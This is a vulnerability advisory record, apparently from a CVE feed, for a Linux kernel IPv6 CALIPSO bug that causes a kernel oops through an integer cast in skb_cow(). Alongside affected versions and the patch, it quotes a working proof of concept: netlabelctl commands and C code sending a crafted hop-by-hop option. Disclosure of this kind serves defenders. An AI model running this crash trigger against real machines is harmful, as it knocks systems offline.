{"id":"CVE-2025-71085","title":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand…","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand…","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":["CWE-617"],"vendor":"linux","product":"linux_kernel","affected":["linux_kernel >= 4.8.1, < 5.10.248","linux_kernel >= 5.11, < 5.15.198","linux_kernel >= 5.16, < 6.1.160","linux_kernel >= 6.2, < 6.6.120","linux_kernel >= 6.7, < 6.12.64","linux_kernel >= 6.13, < 6.18.4","linux_kernel = 4.8","linux_kernel = 6.19"],"patched":["linux_kernel 6.18.4"],"published":"2026-01-13","updated":"2026-10-15","sourceUpdated":"2026-10-15T02:18:16.930","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-71085","references":[{"url":"https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1","label":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83","label":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910","label":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570","label":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2","label":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24","label":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0","label":"416baaa9-dc9f-4396-8d5f-8c081fb06d67"},{"url":"https://cert-portal.siemens.com/productcert/html/ssa-019113.html","label":"0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"},{"url":"https://cert-portal.siemens.com/productcert/html/ssa-457936.html","label":"0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"}],"tags":["nvd","cve.org"],"epss":0.00305,"epssPercentile":0.23175,"ssvc":{"exploitation":"none","automatable":"no","technicalImpact":"partial","timestamp":"2026-06-10T20:42:02.469421Z"},"ingestedAt":"2026-09-08T15:33:26.995Z","slug":"CVE-2025-71085","body":"## Overview\n\nIn the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom > INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) < 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = &dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg->cmsg_len = cmsg_len;\n        cmsg->cmsg_level = IPPROTO_IPV6;\n        cmsg->cmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, &msg, 0);\n\n## Affected\n\n- `linux_kernel >= 4.8.1, < 5.10.248`\n- `linux_kernel >= 5.11, < 5.15.198`\n- `linux_kernel >= 5.16, < 6.1.160`\n- `linux_kernel >= 6.2, < 6.6.120`\n- `linux_kernel >= 6.7, < 6.12.64`\n- `linux_kernel >= 6.13, < 6.18.4`\n- `linux_kernel = 4.8`\n- `linux_kernel = 6.19`\n\n## Remediation\n\nUpgrade past the affected range:\n\n- `linux_kernel 6.18.4`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}